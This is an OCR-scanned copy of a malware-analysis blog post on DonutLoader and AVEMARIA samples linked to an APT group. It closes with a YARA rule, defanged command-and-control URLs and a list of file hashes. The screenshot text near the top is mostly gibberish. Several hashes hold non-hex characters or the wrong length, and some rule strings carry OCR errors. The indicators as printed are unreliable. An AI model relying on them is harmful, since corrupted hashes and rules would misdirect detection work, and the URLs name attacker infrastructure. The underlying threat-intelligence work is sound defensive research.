P master = VCSamples S VC20105amples f ATL f General / ATLCollections / Client / Go o file

Erlc Mittedotte samplas2010 e23f307 onSep 17,2016 3 Mistory

Cliemipg

Cliertverpraj

Clientvip roj filters

StdAfccpp

SedAdih

| =R o R i R o R

Microsoft’s VCSamples project on Github

e The actual AVEMARIA payload (the one that calls back to the C2) is decoded and executed in memory and
I dumped it to look at the strings. The keyword “warzone160” can be found, and this dumped executable
matches YARA rules describing AVEMARIA.

_ AVE MAFSA from MM“MW.MT"“‘;MW%
Fired F !

vd | M | Seveds| MinSee[i  Pescen [sewEn 5 Oett & e~ g [ FhaRends [

Leleleb bR L]
Q00l3aac  abodsfghiikimnopgrscurwkyZABCOEFGHIIE ., . «

20013250 warsonelel

QD013CHE  .bas

Q0013564 USERIZ.EOLL

00013271 essagaBash

QD013CTE Resect

DO0Ll3CEd An asaezticn csaditisan failed

00C13cad PureTall

DO01IcEd A pure visztueal functiom wap called. This is & fatal ezzoz, and indicates & pexicus ezzer in the implesentation of
the application

DO

Waystanddhomd . exe

LdrdstProcedurehddress

RrlNtdtarusTobosError

D00130AS
D0013BEd
00013008
Doe13nrd
AO01IEDD
GR01IETT

e Many more similar AVEMARIAS calling back to the same C2 can be found on VirusTotal, with relations to
the known domain names used by the maldocs/DonutLoaders. Looks like AVEMARIA is a tool of choice
to this APT group.

Last words

Analyzing this set of malicious docs and executables has been fun, I'll just leave you all with a set of IOCs and

YARA rule for detecting DonutLoader. If anyone is interested to discuss, DM me on Twitter!
import “pe”

rule MAL_DonutLoader_DonotAPT {
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meta:

author = “Asuna Amawaka”

description = “This rule hopes to capture parents of DonutLoader as well as DonutLoader binaries”
date = “30 Nov 2020”

strings:

— <«

$filenamel = “wavs.bin” wide ascii nocase
$filename2 = “ogg.bin” wide ascii nocase
$filename3 = “muka.dl]” wide ascii nocase
$filename4 = “linknew.dll” wide ascii nocase
$filename5 = “kpryt.dll” wide ascii nocase

— «

$filename6 = “cvent.dll” wide ascii nocase
$filename7 = “truil902.dll” wide ascii nocase
$filename8 = “lioj86.dll” wide ascii nocase
$filename9 = “fuitel.dll” wide ascii nocase
$filename10 = “dpur.dll” wide ascii nocase

— <«

$filenamell = “mecru.dll” wide ascii nocase
$filename12 = “eupol.dll” wide ascii nocase
$filename13 = “mentn.dll” wide ascii nocase
$filename14 = “made.dll” wide ascii nocase
$filename15 = “notr.dll” wide ascii nocase
$filename16 = “vetu.dll” wide ascii nocase
$filename17 = “detr.dll” wide ascii nocase
$filename18 = “bese.dll” wide ascii nocase
$filename19 = “NumberAlgo.dll” wide ascii nocase
$filename20 = “JacaPM.dIl” wide ascii nocase

— <«

$filename21 = “maroork.dll” wide ascii nocase
$filename22 = “f1i0.dl1” wide ascii nocase
$filename23 = “nuityr.dll” wide ascii nocase
$filename24 = “jgasf.dll” wide ascii nocase
$filename25 = “tuyrt.dll” wide ascii nocase
$filename26 = “lefbu.dll” wide ascii nocase
$filename27 = “pult.dll” wide ascii nocase
$filename28 = “quep.dll” wide ascii nocase
$filename29 = “nmwell.dll” wide ascii nocase
$filename30 = “yello.dll” wide ascii nocase
$filename31 = “lokr.js” wide ascii nocase
$filename32 = “falin.js” wide ascii nocase
$filename33 = “obile.js” wide ascii nocase
$filename34 = “vqiw.js” wide ascii nocase
$filename35 = “gb.bat” wide ascii nocase
$filename36 = “iksm.bat” wide ascii nocase

$filename37 = “trrt.bat” wide ascii nocase

Page 33 of 35



https://medium.com /insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1

$filename38 = “blo.bat” wide ascii nocase

$filename39 = “SystemService.exe” wide ascii nocase

$pathl = “C:\\Users\\Dev\\Desktop\\07082020_8570_S\\” wide ascii nocase

$path1_wild = {5c 55 73 65 72 73 5¢ 44 65 76 5¢ 44 65 73 6b 74 6f 70 5c [8] 5f [4] 5f 53 5¢}

$path2 = “AppData\\Roaming\EvVMGR” wide ascii nocase

$path3 = “C:\\Users\\Dev\\Desktop\\Macro_XIs_1704_S” wide ascii nocase

$path3_wild = {5c 55 73 65 72 73 5c¢ 44 65 76 5c 44 65 73 6b 74 6f 70 5¢ 4d 61 63 72 6f 5f 58 6¢ 73 5f
[4] 5f 53}

$path4 = “C:\\Users\\Dev\\Desktop\\01052020_MacroXIsEmb_S” wide ascii nocase

$path4_wild = {5c 55 73 65 72 73 5c¢ 44 65 76 5c¢ 44 65 73 6b 74 6f 70 5¢ [8] 5f 4d 61 63 72 6f 58 6¢
73 45 6d 62 5f 53}

$str1 = “MJuego” wide ascii nocase
$str2 = “0007E9E4CE4D” wide ascii nocase
$str3 = “Bensun” wide ascii nocase

$str4 = “Menner” wide ascii nocase

$pdbpath1 =
“Soft\\DevelopedCode_Last\\BitDefenderTest\\mO\\New_Single_File\\L.o2\\SingleV2\\Release\\BinWork.pdb”
wide ascii nocase

$pdbpath1_wild = {5c 53 6f 66 74 5¢ 44 65 76 65 6¢ 6f 70 65 64 43 6f 64 65 5f 4c 61 73 74 5¢ 42 69

74 44 65 66 65 6e 64 65 72 54 65 73 74}

$pdbpath2 = “Users\\admin\\Documents\\dlI\\linknew\\Release\\linknew.pdb” wide ascii nocase

condition:

uint16(0) == 0x5a4d and filesize < 600KB and ((1 of ($filename*)) or (any of ($path*, $str*,
$pdbpath*)) or pe.exports(“zenu”) or pe.exports(“flis”) or pe.exports(“jrgbeg”) or pe.exports(“csytu”)

or pe.exports(“neeu”) or pe.exports(“vile”))

e wordupdate[.]Jcom/recent/update

e cheaperlive[.]xyz/xolto/mikix

e tampotrust[.]top/tax/lodi/pkra

e remindme][.]top/tax/lodi/pkra

 recent.wordupdate[.]Jcom/ver/update12/KB466432

e the-moondelight[.]96][.]It/latest/updte

o the-moondelight[.]96][.]It/optra/sant.gif

o the-moondelight[.]96][.]lt/1atest/version/secure/download/IN4447832
 the-moondelight[.]96[.]It/windw-sec/append

e 1C41A03C65108E0D965B250DC9B3388A267909DFIF36C3FEFFFBD26D512A2126
e 8CFBFECFE475C3621277EE7F680E3A0CB9C650802363DAA256C1057ADFB817A9
e 7A987295229D2514D99916D53F196B87758CEO08FD8621CF68BC419DC99B80D6D
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e D279DDB6B2A566BC24E789B5181663491B8C2818CB91E28AAE5721DCBOBF30B6
e ABO04BF258CF71B4A1CB934491CF942ECDAOEC82D4F6A80B5108D7607BEGFC2BE
e 7FAB7D0C6076E197A509C01C0794EBC450229FF5D555BESD7F89F98B3C43A298

e 684F68429F8BAC224E6FDC68195C89B54BA469FBCC2184EC2B5FC689E585CAS4

e 0EAO05331E775DE6B329FF1FA22F11809C2C1BCB6E17683552219CB32F52A47F5

e 83847C527F713B6E13849028D66B08686ADDE26BSESECDSDDC78AD178EF7BDCB
e E291A146F79D927D18392A04D238D829C0DF156410E4D93636AEE1B5663DB914

e E6753EB498F58F95C8FC931B6CD53647CE2FAF8F7ADA4274C22CA2B6284FB5308

e 67C0C937E049083193649449519A57E42945CA2ABE19756F4E76D95CAA44A062

e 70D41C8C25CB8E75296576D3DBB37720E03F96691691763953FEAOFEOOF50EB4

e 9B34F53DDC20D5SEA2F7B47818ED2E7D626948256268CB4E2B11E47ECAFIA839A
e 891ACF7B729183945F209C915BA2BB57B541E2EA350899A541DBOA63428711A5

e FB46324757DOEC8B0AC02729E281E47EF1C367DEED483F14481441C2F9B6CA34

e 66F3134E3E040F50ED59629379C0750D896969ACFDCS55105BE7FEF81839BA035

e 1C4B8A1F48FF1B9511AEC0704983E45242F01C2109AB4602F7952481429DDC84

e 88672DF33B02275660EC3995F3BAD63FE994C09BASES78E7F18D4F8C9A97637A

e 7609034E7473869B3A5767F9543B6067998F4DB68E3BA26966C115535337337F

e ADEG6D291C870A9F59D4A22FFAD61E6B2A913538701517E8DOAA275855FD80A76

¢ E99AE9163F6DBBA22E1357C2164EBOF9971A264A481813EC11DC598784435B95

e 1EGES68E2FCCFEB2E0275982D5637EO0BE6D0BA4575685126D957061BF2D19678

e 4C5C43F4932AC497C716BB5EC30A7636E5056775A4D5F3F48B9ESC1414B9F7B3

e 7305E08AB7812F44EA42E89AE7D473B1F373C151CA8D12F77B79E85C942366FC

e 59CCFFF73BDB8567E7673A57B73F86FC082BOE4EEAA3FAF7E92875C35BF4F62C

e A3CD781B14D75DE94E5263CE37A572CDF5FES013EC85FF8DAEEE3783FF95B073
e 904E966DA7B38514F6AC23BBA1DAC1858888CD48FA77B73C770156B19A88A4C8
e 8E85C62E5D7FA9A6D2E176BCAGF6526B53EBFDAGEF3DF208E1E60434BD26EFFC
e 5C9477C16DF8EF4434C042E69B473A44452CAEES6219A56EB2DA30F0B5E85976

e 686847B331ACE1B93B48528BA50507CBFOFOB5SAEF5B5F539A7D6F2246135424

e 1D9EDE11B34A20D4947F01432CEA088DBEFA911F02AFAAE9S095673F56A76EAFA
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